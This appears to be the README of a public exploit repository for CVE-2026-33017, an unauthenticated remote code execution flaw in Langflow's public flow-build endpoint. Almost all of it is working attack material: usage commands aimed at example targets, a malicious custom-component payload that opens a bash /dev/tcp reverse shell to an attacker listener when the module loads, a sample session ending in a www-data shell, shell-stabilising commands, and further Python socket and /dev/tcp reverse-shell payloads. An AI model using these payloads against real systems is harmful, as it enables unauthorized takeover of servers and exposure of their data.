POST /api/v1/build_public_tmp/{flow_id}/flow

Attacker POST → build_public_tmp → start_flow_build() → create_graph() → 
Graph.from_payload() → add_nodes_and_edges() → initialize() → 
_instantiate_components_in_vertices() → instantiate_component() → 
eval_custom_component_code() → prepare_global_scope() → 
exec(compiled_code) ← ARBITRARY CODE EXECUTION

git clone https://github.com/yourusername/CVE-2026-33017-exploit.git
cd CVE-2026-33017-exploit
pip install -r requirements.txt

requests>=2.28.0
urllib3>=1.26.0

python3 exploit.py --url <TARGET_URL> --flow-id <FLOW_ID> --lhost <LISTENER_IP> --lport <LISTENER_PORT>

# Start listener
nc -lvnp 4444

# Run exploit
python3 exploit.py --url https://target.langflow.com --flow-id 7d84d636-af65-42e4-ac38-26e867052c25 --lhost 10.10.16.171 --lport 4444

python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444

python3 exploit.py -u http://localhost:7860 -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444

python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444 -t 30

import os

# This executes immediately during component loading
_x = os.system("bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'")

from lfx.custom.custom_component.component import Component
from lfx.io import Output
from lfx.schema.data import Data

class ExploitComp(Component):
    display_name="X"
    outputs=[Output(display_name="O",name="o",method="r")]
    def r(self)->Data:
        return Data(data={})

1. Attacker sends POST request to /api/v1/build_public_tmp/{flow_id}/flow
2. Langflow receives the malicious CustomComponent
3. prepare_global_scope() calls exec() on the component code
4. Module-level code executes immediately
   ├── _x = os.system("bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'")
5. Reverse shell connects back to attacker's listener
6. Graph compilation continues (but it's too late)

$ python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444

============================================================
  CVE-2026-33017 - Langflow Unauthenticated RCE
============================================================

[!] Make sure your listener is running:
    nc -lvnp 4444

[+] Target URL: https://target.langflow.com/api/v1/build_public_tmp/7d84d636-af65-42e4-ac38-26e867052c25/flow
[+] LHOST: 10.10.16.171
[+] LPORT: 4444
[*] Sending exploit payload...
[+] Status Code: 200
[+] Exploit sent successfully!
[+] Job ID: abc123-def456-789ghi

[*] Check your listener for the reverse shell!
[*] nc -lvnp 4444

$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.171] from (UNKNOWN) [10.129.8.2] 42348
bash: cannot set terminal process group (1526): Inappropriate ioctl for device
bash: no job control in this shell
www-data@langflow:/app$

# Python PTY
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Or use script
script /dev/null -c bash

# Background with Ctrl+Z
# Then run:
stty raw -echo
fg
reset
export TERM=xterm

# In build_payload() function:
return f"""import os

_x = os.system("{command}")

from lfx.custom.custom_component.component import Component
from lfx.io import Output
from lfx.schema.data import Data

class ExploitComp(Component):
    display_name="X"
    outputs=[Output(display_name="O",name="o",method="r")]
    def r(self)->Data:
        return Data(data={{}})
"""

import os, socket, subprocess

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("LHOST", LPORT))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/bash", "-i"])

import os
os.system("/bin/sh -c 'exec 5<>/dev/tcp/LHOST/LPORT;cat <&5 | while read line; do $line 2>&5 >&5; done'")